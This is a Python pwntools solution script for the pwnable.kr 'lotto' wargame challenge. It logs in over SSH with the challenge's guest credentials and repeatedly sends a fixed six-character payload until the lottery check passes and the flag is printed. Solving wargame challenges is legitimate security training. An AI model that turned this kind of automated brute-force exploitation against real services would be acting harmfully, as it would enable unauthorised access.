from pwn import *
import time

#context.log_level = 'debug'

sh = ssh(host = 'pwnable.kr', port = 2222, user = 'lotto', password = 'guest')
#s = sh.download_file('lotto')
elf = ELF('./lotto')
s = sh.process('./lotto')

#s = process('./lotto')
cnt = 1
while True:
	s.recv(4096)
	s.sendline('2')
	#log.info(s.recv(4096))
	s.sendline('1')
	s.recv(4096)
	payload = ''
	payload += '!#$%^&'
	s.sendline(payload)

	s.recvuntil('\n')
	res = s.recvuntil('\n')[:-1]
	log.info('try(%d) times : <%s>' %(cnt, res))
	cnt += 1

	if res != 'bad luck...':
		log.success(s.recvline())
		break

	time.sleep(0.1)